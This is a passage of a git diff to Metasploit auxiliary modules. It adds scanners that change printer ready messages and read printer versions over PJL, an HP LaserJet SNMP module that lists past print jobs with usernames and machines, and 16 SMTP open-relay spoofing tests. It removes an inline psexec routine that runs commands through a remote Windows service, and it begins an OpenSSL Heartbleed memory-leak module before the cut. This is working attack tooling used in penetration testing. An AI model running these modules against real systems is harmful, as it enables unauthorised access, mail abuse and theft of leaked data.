+      OptString.new("MESSAGE", [false, "Ready message", "PC LOAD LETTER"])
+    ], self.class)
+  end
+
+  def run_host(ip)
+    connect
+    pjl = Rex::Proto::PJL::Client.new(sock)
+    pjl.begin_job
+
+    if datastore["CHANGE"]
+      if datastore["RESET"]
+        message = ""
+      else
+        message = datastore["MESSAGE"]
+      end
+
+      pjl.set_rdymsg(message)
+    end
+
+    rdymsg = pjl.get_rdymsg
+
+    pjl.end_job
+    disconnect
+
+    if rdymsg
+      print_good("#{ip}:#{rport} - #{rdymsg}")
+      report_note(
+        :host => ip,
+        :port => rport,
+        :proto => "tcp",
+        :type => "printer.rdymsg",
+        :data => rdymsg
+      )
+    end
+  end
+
+end
diff --git a/modules/auxiliary/scanner/printer/printer_version_info.rb b/modules/auxiliary/scanner/printer/printer_version_info.rb
new file mode 100644
index 0000000000..f1018fdf88
--- /dev/null
+++ b/modules/auxiliary/scanner/printer/printer_version_info.rb
@@ -0,0 +1,62 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require "msf/core"
+require "rex/proto/pjl"
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      "Name" => "Printer Version Information Scanner",
+      "Description" => %q{
+        This module scans for printer version information using the
+        Printer Job Language (PJL) protocol.
+      },
+      "Author" => [
+        "wvu", # Rex::Proto::PJL and modules
+        "sinn3r", # RSpec tests
+        "MC", # Independent mixin and modules
+        "Myo Soe", # Independent modules
+        "Matteo Cantoni <goony[at]nothink.org>" # Independent modules
+      ],
+      "References" => [
+        ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
+      ],
+      "License" => MSF_LICENSE
+    ))
+
+    register_options([
+      Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT)
+    ], self.class)
+  end
+
+  def run_host(ip)
+    connect
+    pjl = Rex::Proto::PJL::Client.new(sock)
+    pjl.begin_job
+
+    id = pjl.info_id
+
+    pjl.end_job
+    disconnect
+
+    if id
+      print_good("#{ip}:#{rport} - #{id}")
+      report_service({
+        :host => ip,
+        :port => rport,
+        :proto => "tcp",
+        :name => "jetdirect",
+        :info => id
+      })
+    end
+  end
+
+end
diff --git a/modules/auxiliary/scanner/smb/ms08_067_check.rb b/modules/auxiliary/scanner/smb/ms08_067_check.rb
index d135ce0d82..34eb524d3a 100644
--- a/modules/auxiliary/scanner/smb/ms08_067_check.rb
+++ b/modules/auxiliary/scanner/smb/ms08_067_check.rb
@@ -4,6 +4,7 @@
 ##
 
 require "msf/core"
+require 'msf/core/module/deprecated'
 
 class Metasploit4 < Msf::Auxiliary
 
@@ -11,11 +12,15 @@ class Metasploit4 < Msf::Auxiliary
   include Msf::Exploit::Remote::SMB
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
+  include Msf::Module::Deprecated
+  deprecated Date.new(2014, 2, 26), "exploit/windows/smb/ms08_067_netapi"
 
   def initialize(info = {})
     super(update_info(info,
       'Name' => "MS08-067 Scanner",
-      'Description' => "This module uses the check in ms08_067_netapi to scan for MS08-067.",
+      'Description' => %q{
+        This module uses the check in ms08_067_netapi to scan for MS08-067.
+      },
       'Author' => [
         "hdm", # with tons of input/help/testing from the community
         "Brett Moore <brett.moore[at]insomniasec.com>",
diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb
index ad9d57319b..9560505694 100644
--- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb
+++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb
@@ -7,11 +7,9 @@ require 'msf/core'
 class Metasploit3 < Msf::Auxiliary
 
   # Exploit mixins should be called first
-  include Msf::Exploit::Remote::SMB
-  include Msf::Exploit::Remote::SMB::Authenticated
+  include Msf::Exploit::Remote::SMB::Psexec
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
-  include Msf::Exploit::Remote::DCERPC
 
   # Aliases for common classes
   SIMPLE = Rex::Proto::SMB::SimpleClient
@@ -49,10 +47,6 @@ class Metasploit3 < Msf::Auxiliary
     deregister_options('RHOST')
   end
 
-  def peer
-    return "#{rhost}:#{rport}"
-  end
-
   # This is the main controller function
   def run_host(ip)
     cmd = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\SYSTEM32\\cmd.exe"
@@ -218,124 +212,4 @@ class Metasploit3 < Msf::Auxiliary
     end
   end
 
-  # This code was stolen straight out of psexec.rb.  Thanks very much HDM and all who contributed to that module!!
-  # Instead of uploading and runing a binary.  This method runs a single windows command fed into the #{command} paramater
-  def psexec(command)
-
-    simple.connect("IPC$")
-
-    handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
-    vprint_status("#{peer} - Binding to #{handle} ...")
-    dcerpc_bind(handle)
-    vprint_status("#{peer} - Bound to #{handle} ...")
-
-    vprint_status("#{peer} - Obtaining a service manager handle...")
-    scm_handle = nil
-    stubdata =
-      NDR.uwstring("\\\\#{rhost}") +
-      NDR.long(0) +
-      NDR.long(0xF003F)
-    begin
-      response = dcerpc.call(0x0f, stubdata)
-      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
-        scm_handle = dcerpc.last_response.stub_data[0,20]
-      end
-    rescue ::Exception => e
-      print_error("#{peer} - Error: #{e}")
-      return false
-    end
-
-    servicename = Rex::Text.rand_text_alpha(11)
-    displayname = Rex::Text.rand_text_alpha(16)
-    holdhandle = scm_handle
-    svc_handle = nil
-    svc_status = nil
-
-    stubdata =
-      scm_handle +
-      NDR.wstring(servicename) +
-      NDR.uwstring(displayname) +
-
-      NDR.long(0x0F01FF) + # Access: MAX
-      NDR.long(0x00000110) + # Type: Interactive, Own process
-      NDR.long(0x00000003) + # Start: Demand
-      NDR.long(0x00000000) + # Errors: Ignore
-      NDR.wstring( command ) +
-      NDR.long(0) + # LoadOrderGroup
-      NDR.long(0) + # Dependencies
-      NDR.long(0) + # Service Start
-      NDR.long(0) + # Password
-      NDR.long(0) + # Password
-      NDR.long(0) + # Password
-      NDR.long(0) # Password
-    begin
-      vprint_status("#{peer} - Creating the service...")
-      response = dcerpc.call(0x0c, stubdata)
-      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
-        svc_handle = dcerpc.last_response.stub_data[0,20]
-        svc_status = dcerpc.last_response.stub_data[24,4]
-      end
-    rescue ::Exception => e
-      print_error("#{peer} - Error: #{e}")
-      return false
-    end
-
-    vprint_status("#{peer} - Closing service handle...")
-    begin
-      response = dcerpc.call(0x0, svc_handle)
-    rescue ::Exception
-    end
-
-    vprint_status("#{peer} - Opening service...")
-    begin
-      stubdata =
-        scm_handle +
-        NDR.wstring(servicename) +
-        NDR.long(0xF01FF)
-
-      response = dcerpc.call(0x10, stubdata)
-      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
-        svc_handle = dcerpc.last_response.stub_data[0,20]
-      end
-    rescue ::Exception => e
-      print_error("#{peer} - Error: #{e}")
-      return false
-    end
-
-    vprint_status("#{peer} - Starting the service...")
-    stubdata =
-      svc_handle +
-      NDR.long(0) +
-      NDR.long(0)
-    begin
-      response = dcerpc.call(0x13, stubdata)
-      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
-      end
-    rescue ::Exception => e
-      print_error("#{peer} - Error: #{e}")
-      return false
-    end
-
-    vprint_status("#{peer} - Removing the service...")
-    stubdata =
-      svc_handle
-    begin
-      response = dcerpc.call(0x02, stubdata)
-      if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
-    end
-      rescue ::Exception => e
-      print_error("#{peer} - Error: #{e}")
-    end
-
-    vprint_status("#{peer} - Closing service handle...")
-    begin
-      response = dcerpc.call(0x0, svc_handle)
-    rescue ::Exception => e
-      print_error("#{peer} - Error: #{e}")
-    end
-
-    select(nil, nil, nil, 1.0)
-    simple.disconnect("IPC$")
-    return true
-  end
 end
diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb
index ea91f73c41..42d86801f2 100644
--- a/modules/auxiliary/scanner/smb/smb_enumshares.rb
+++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb
@@ -32,7 +32,8 @@ class Metasploit3 < Msf::Auxiliary
         [
           'hdm',
           'nebulus',
-          'sinn3r'
+          'sinn3r',
+          'r3dy'
         ],
       'License'        => MSF_LICENSE,
       'DefaultOptions' =>
@@ -362,8 +363,10 @@ class Metasploit3 < Msf::Auxiliary
         if shares.empty?
           print_status("#{ip}:#{rport} - No shares collected")
         else
-          shares_info = shares.map{|x| "#{x[0]} - #{x[2]} (#{x[1]})" }.join(", ")
-          print_status("#{ip}:#{rport} - #{shares_info}")
+          shares_info = shares.map{|x| "#{ip}:  #{x[0]} - (#{x[1]}) #{x[2]}" }.join(", ")
+          shares_info.split(", ").each { |share|
+            print_good share
+          }
           report_note(
             :host   => ip,
             :proto  => 'tcp',
diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb
index 738609e72b..0d7daddb69 100644
--- a/modules/auxiliary/scanner/smb/smb_login.rb
+++ b/modules/auxiliary/scanner/smb/smb_login.rb
@@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
       'Author'         =>
         [
           'tebo <tebo [at] attackresearch [dot] com>', # Original
-          'Ben Campbell <eat_meatballs [at] hotmail.co.uk>' # Refactoring
+          'Ben Campbell' # Refactoring
         ],
       'References'     =>
         [
@@ -128,6 +128,9 @@ class Metasploit3 < Msf::Auxiliary
       status_code = e.get_error(e.error_code)
     rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
       status_code = e.error_reason
+    rescue ::Rex::Proto::SMB::Exceptions::InvalidWordCount => e
+      status_code = e.error_reason
+    rescue ::Rex::Proto::SMB::Exceptions::NoReply
     ensure
       disconnect()
     end
diff --git a/modules/auxiliary/scanner/smtp/smtp_relay.rb b/modules/auxiliary/scanner/smtp/smtp_relay.rb
index fa044d5937..d83260f25e 100644
--- a/modules/auxiliary/scanner/smtp/smtp_relay.rb
+++ b/modules/auxiliary/scanner/smtp/smtp_relay.rb
@@ -16,16 +16,26 @@ class Metasploit3 < Msf::Auxiliary
       'Name'        => 'SMTP Open Relay Detection',
       'Description' => %q{
         This module tests if an SMTP server will accept (via a code 250)
-        an e-mail from the provided FROM: address. If successful, a random
-        e-mail message may be sent to the named RCPT: address.
+        an e-mail by using a variation of testing methods.
+        Some of the extended methods will try to abuse configuration or mailserver flaws.
       },
       'References'  =>
         [
           ['URL', 'http://www.ietf.org/rfc/rfc2821.txt'],
+          ['URL', 'https://svn.nmap.org/nmap/scripts/smtp-open-relay.nse'],
+        ],
+      'Author'      =>
+        [
+          'Campbell Murray',
+          'xistence <xistence[at]0x90.nl>',
         ],
-      'Author'      => 'Campbell Murray',
       'License'     => MSF_LICENSE
     )
+
+    register_options(
+      [
+        OptBool.new('EXTENDED', [true, 'Do all the 16 extended checks', false]),
+      ], self.class)
   end
 
   def peer
@@ -35,37 +45,82 @@ class Metasploit3 < Msf::Auxiliary
   def run_host(ip)
     begin
       connect
+      banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
+      print_status("#{peer} - SMTP #{banner_sanitized}")
+      report_service(:host => rhost, :port => rport, :name => "smtp", :info => banner)
+
+      if datastore['EXTENDED']
+
+        if banner_sanitized =~ /220 (.*) /
+          serverhost = $1
+        end
+
+        mailfromuser = datastore['MAILFROM'].split("@").first
+        mailfromdomain = datastore['MAILFROM'].split("@").last
+        mailtouser = datastore['MAILTO'].split("@").first
+        mailtodomain = datastore['MAILTO'].split("@").last
+
+        do_test_relay(1, "MAIL FROM:<>", "RCPT TO:<#{datastore['MAILTO']}>")
+        do_test_relay(2, "MAIL FROM:<#{datastore['MAILFROM']}>", "RCPT TO:<#{datastore['MAILTO']}>")
+        do_test_relay(3, "MAIL FROM:<#{mailfromuser}@#{serverhost}>", "RCPT TO:<#{datastore['MAILTO']}>")
+        do_test_relay(4, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtouser}@[#{rhost}]>")
+        do_test_relay(5, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtouser}\%#{mailtodomain}@[#{rhost}]>")
+        do_test_relay(6, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtouser}\%#{mailtodomain}@#{serverhost}>")
+        do_test_relay(7, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<\"#{mailtouser}@#{mailtodomain}\">")
+        do_test_relay(8, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<\"#{mailtouser}\%#{mailtodomain}\">")
+        do_test_relay(9, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtouser}@#{mailtodomain}@[#{rhost}]>")
+        do_test_relay(10, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<\"#{mailtouser}@#{mailtodomain}\"@[#{rhost}]>")
+        do_test_relay(11, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtouser}@#{mailtodomain}@#{serverhost}>")
+        do_test_relay(12, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<@[#{rhost}]:#{mailtouser}@#{mailtodomain}>")
+        do_test_relay(13, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<@#{serverhost}:#{mailtouser}@#{mailtodomain}>")
+        do_test_relay(14, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtodomain}!#{mailtouser}>")
+        do_test_relay(15, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtodomain}!#{mailtouser}@[#{rhost}]>")
+        do_test_relay(16, "MAIL FROM:<#{mailfromuser}@[#{rhost}]>", "RCPT TO:<#{mailtodomain}!#{mailtouser}@#{serverhost}>")
+      else
+        do_test_relay(nil, "MAIL FROM:<#{datastore['MAILFROM']}>", "RCPT TO:<#{datastore['MAILTO']}>")
+    end
     rescue
       print_error("#{peer} - Unable to establish an SMTP session")
       return
     end
-
-    banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
-    print_status("#{peer} - SMTP #{banner_sanitized}")
-    report_service(:host => rhost, :port => rport, :name => "smtp", :info => banner)
-    do_test_relay
   end
 
-  def do_test_relay
-    res = raw_send_recv("EHLO X\r\n")
-    vprint_status("#{peer} - #{res.inspect}")
+  def do_test_relay(testnumber, mailfrom, mailto)
+    begin
+      connect
 
-    res = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
-    vprint_status("#{peer} - #{res.inspect}")
+      res = raw_send_recv("EHLO X\r\n")
+      vprint_status("#{peer} - #{res.inspect}")
 
-    res = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
-    vprint_status("#{peer} - #{res.inspect}")
+      res = raw_send_recv("#{mailfrom}\r\n")
+      vprint_status("#{peer} - #{res.inspect}")
 
-    res = raw_send_recv("DATA\r\n")
-    vprint_status("#{peer} - #{res.inspect}")
+      res = raw_send_recv("#{mailto}\r\n")
+      vprint_status("#{peer} - #{res.inspect}")
 
-    res = raw_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n")
-    vprint_status("#{peer} - #{res.inspect}")
+      res = raw_send_recv("DATA\r\n")
+      vprint_status("#{peer} - #{res.inspect}")
 
-    if res =~ /250/
-      print_good("#{peer} - Potential open SMTP relay detected")
-    else
-      print_status "#{peer} - No relay detected"
+      res = raw_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n")
+      vprint_status("#{peer} - #{res.inspect}")
+
+      if res =~ /250/
+        if testnumber.nil?
+          print_good("#{peer} - Potential open SMTP relay detected: - #{mailfrom} -> #{mailto}")
+        else
+          print_good("#{peer} - Test ##{testnumber} - Potential open SMTP relay detected: - #{mailfrom} -> #{mailto}")
+        end
+      else
+        if testnumber.nil?
+          print_status "#{peer} - No relay detected"
+        else
+          print_status "#{peer} - Test ##{testnumber} - No relay detected"
+        end
+      end
+
+    rescue
+      print_error("#{peer} - Test ##{testnumber} - Unable to establish an SMTP session")
+      return
     end
   end
 end
diff --git a/modules/auxiliary/scanner/snmp/snmp_enum.rb b/modules/auxiliary/scanner/snmp/snmp_enum.rb
index 7d7909adb8..10019cf58d 100644
--- a/modules/auxiliary/scanner/snmp/snmp_enum.rb
+++ b/modules/auxiliary/scanner/snmp/snmp_enum.rb
@@ -92,19 +92,18 @@ class Metasploit3 < Msf::Auxiliary
         systemDate = systemDate.unpack('C*')
 
         year    = systemDate[0] * 256 + systemDate[1]
-        month   = systemDate[2]
-        day     = systemDate[3]
-        hour    = systemDate[4]
-        minutes = systemDate[5]
-        seconds = systemDate[6]
-        tenths  = systemDate[7]
+        month   = systemDate[2] || 0
+        day     = systemDate[3] || 0
+        hour    = systemDate[4] || 0
+        minutes = systemDate[5] || 0
+        seconds = systemDate[6] || 0
+        tenths  = systemDate[7] || 0
         output_data["System date"] = sprintf("%d-%d-%d %02d:%02d:%02d.%d", year, month, day, hour, minutes, seconds, tenths)
       end
 
       #
       #
       if (sysDesc =~ /Windows/)
-        usersLine = ""
         domPrimaryDomain = snmp.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s
 
         output_data["Domain"] = domPrimaryDomain.strip
@@ -958,6 +957,8 @@ class Metasploit3 < Msf::Auxiliary
       raise $!
     rescue ::Exception => e
       print_status("Unknown error: #{e.class} #{e}")
+      elog("Unknown error: #{e.class} #{e}")
+      elog("Call stack:\n#{e.backtrace.join "\n"}")
     ensure
       disconnect_snmp
     end
diff --git a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb
new file mode 100644
index 0000000000..bacfdd15b7
--- /dev/null
+++ b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb
@@ -0,0 +1,150 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::SNMPClient
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'HP LaserJet Printer SNMP Enumeration',
+      'Description' => %q{
+        This module allows enumeration of files previously printed.
+        It provides details as filename, client, timestamp and username informations.
+        The default community used is "public".
+      },
+      'References'  =>
+        [
+          [ 'URL', 'http://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ],
+          [ 'URL', 'http://net-snmp.sourceforge.net/docs/man/snmpwalk.html' ],
+          [ 'URL', 'http://www.nothink.org/perl/snmpcheck/' ],
+          [ 'URL', 'http://www.securiteam.com/securitynews/5AP0S2KGVS.html' ],
+          [ 'URL', 'http://stuff.mit.edu/afs/athena/dept/cron/tools/share/mibs/290923.mib' ],
+        ],
+      'Author'      => 'Matteo Cantoni <goony[at]nothink.org>',
+      'License'     => MSF_LICENSE
+      ))
+  end
+
+  def run_host(ip)
+    begin
+      snmp = connect_snmp
+
+      vprint_status("Connecting to #{ip}")
+
+      output_data = []
+
+      output_data << "IP address  : #{ip}"
+
+      sysName = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s
+      output_data << "Hostname    : #{sysName.strip}"
+
+      sysDesc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
+      sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ')
+      output_data << "Description : #{sysDesc.strip}"
+
+      sysContact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s
+      output_data << "Contact     : #{sysContact.strip}" if not sysContact.empty?
+
+      sysLocation = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s
+      output_data << "Location    : #{sysLocation.strip}" if not sysLocation.empty?
+
+      output_data << ""
+
+      snmp.walk([
+        "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1",    # job-info-name1  - document name1
+        "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.2",    # job-info-name2  - document name2
+        "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1", # job-info-attr-1 - username
+        "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2", # job-info-attr-2 - machine name
+        "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.3", # job-info-attr-3 - domain (?)
+        "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.4", # job-info-attr-4 - timestamp
+        "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.6", # job-info-attr-6 - application name
+        "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.7", # job-info-attr-7 - application command
+      ]) do |name1,name2,username,client,domain,timestamp,app_name,app_command|
+
+        filename = name1.value.to_s + name2.value.to_s
+
+        if (username.value.to_s !~ /noSuchInstance/)
+          if username.value.to_s =~ /^JobAcct(\d+)=(.*)/
+            username = $2
+          end
+        else
+          username = ''
+        end
+
+        if (client.value.to_s !~ /noSuchInstance/)
+          if client.value.to_s =~ /^JobAcct(\d+)=(.*)/
+            client = $2
+          end
+        else
+          client = ''
+        end
+
+        if (domain.value.to_s !~ /noSuchInstance/)
+          if domain.value.to_s =~ /^JobAcct(\d+)=(.*)/
+            domain = $2
+          end
+        else
+          domain = ''
+        end
+
+        if (timestamp.value.to_s !~ /noSuchInstance/)
+          if timestamp.value.to_s =~ /^JobAcct(\d+)=(.*)/
+            timestamp = $2
+          end
+        else
+          timestamp = ''
+        end
+
+        if (app_name.value.to_s !~ /noSuchInstance/)
+          if app_name.value.to_s =~ /^JobAcct(\d+)=(.*)/
+            app_name = $2
+          end
+        else
+          app_name = ''
+        end
+
+        if (app_command.value.to_s !~ /noSuchInstance/)
+          if app_command.value.to_s =~ /^JobAcct(\d+)=(.*)/
+            app_command = $2
+          end
+        else
+          app_command = ''
+        end
+
+        if not timestamp.empty?
+          output_data << "File name   : #{filename}"
+          output_data << "Username    : #{username}" if not username.empty?
+          output_data << "Client      : #{client}" if not client.empty?
+          output_data << "Domain      : #{domain}" if not domain.empty?
+          output_data << "Timestamp   : #{timestamp}" if not timestamp.empty?
+          output_data << "Application : #{app_name} (#{app_command})" if not app_name.empty?
+          output_data << ""
+        end
+      end
+
+      output_data.each do |row|
+        print_good("#{row}")
+      end
+
+      disconnect_snmp
+
+    rescue SNMP::RequestTimeout
+      vprint_status("#{ip}, SNMP request timeout.")
+    rescue Errno::ECONNREFUSED
+      vprint_status("#{ip}, Connection refused.")
+    rescue SNMP::InvalidIpAddress
+      vprint_status("#{ip}, Invalid IP Address. Check it with 'snmpwalk tool'.")
+    rescue ::Interrupt
+    raise $!
+    rescue ::Exception => e
+      vprint_error("#{ip}, Unknown error: #{e.class} #{e}")
+    end
+  end
+end
diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
new file mode 100644
index 0000000000..5896887f44
--- /dev/null
+++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
@@ -0,0 +1,374 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  CIPHER_SUITES = [
+    0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
+    0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
+    0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
+    0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
+    0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
+    0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
+    0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
+    0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
+    0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
+    0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
+    0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
+    0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
+    0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
+    0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
+    0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
+    0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
+    0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
+    0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
+    0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
+    0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
+    0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
+    0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
+    0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
+    0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
+    0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
+    0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
+    0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
+    0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
+    0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
+    0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
+    0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
+    0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
+    0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
+    0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
+    0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
+    0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
+    0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
+    0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
+    0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
+    0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
+    0x0005, # TLS_RSA_WITH_RC4_128_SHA
+    0x0004, # TLS_RSA_WITH_RC4_128_MD5
+    0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
+    0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
+    0x0009, # TLS_RSA_WITH_DES_CBC_SHA
+    0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
+    0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
+    0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
+    0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
+    0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
+    0x00ff  # Unknown
+  ]
+
+  HANDSHAKE_RECORD_TYPE = 0x16
+  HEARTBEAT_RECORD_TYPE = 0x18
+  ALERT_RECORD_TYPE     = 0x15
+  TLS_VERSION = {
+    'SSLv3' => 0x0300,
+    '1.0'   => 0x0301,
+    '1.1'   => 0x0302,
+    '1.2'   => 0x0303
+  }
+
+  TLS_CALLBACKS = {
+    'SMTP'   => :tls_smtp,
+    'IMAP'   => :tls_imap,
+    'JABBER' => :tls_jabber,
+    'POP3'   => :tls_pop3,
+    'FTP'    => :tls_ftp
+  }
+
+  def initialize
+    super(
+      'Name'           => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
+      'Description'    => %q{
+        This module implements the OpenSSL Heartbleed attack. The problem
+        exists in the handling of heartbeat requests, where a fake length can
+        be used to leak memory data in the response. Services that support
+        STARTTLS may also be vulnerable.
+      },
+      'Author'         => [
+        'Neel Mehta', # Vulnerability discovery
+        'Riku', # Vulnerability discovery
+        'Antti', # Vulnerability discovery
+        'Matti', # Vulnerability discovery
+        'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it.
+        'FiloSottile', # PoC site and tool
+        'Christian Mehlmauer', # Msf module
+        'wvu', # Msf module
+        'juan vazquez', # Msf module
+        'Sebastiano Di Paola', # Msf module
+        'Tom Sellers' # Msf module
+      ],
+      'References'     =>
+        [
+          ['CVE', '2014-0160'],
+          ['US-CERT-VU', '720951'],
+          ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
+          ['URL', 'http://heartbleed.com/'],
+          ['URL', 'https://github.com/FiloSottile/Heartbleed'],
+          ['URL', 'https://gist.github.com/takeshixx/10107280'],
+          ['URL', 'http://filippo.io/Heartbleed/']
+        ],
+      'DisclosureDate' => 'Apr 7 2014',
+      'License'        => MSF_LICENSE
+    )
+
+    register_options(
+      [
+        Opt::RPORT(443),
+        OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP' ]]),
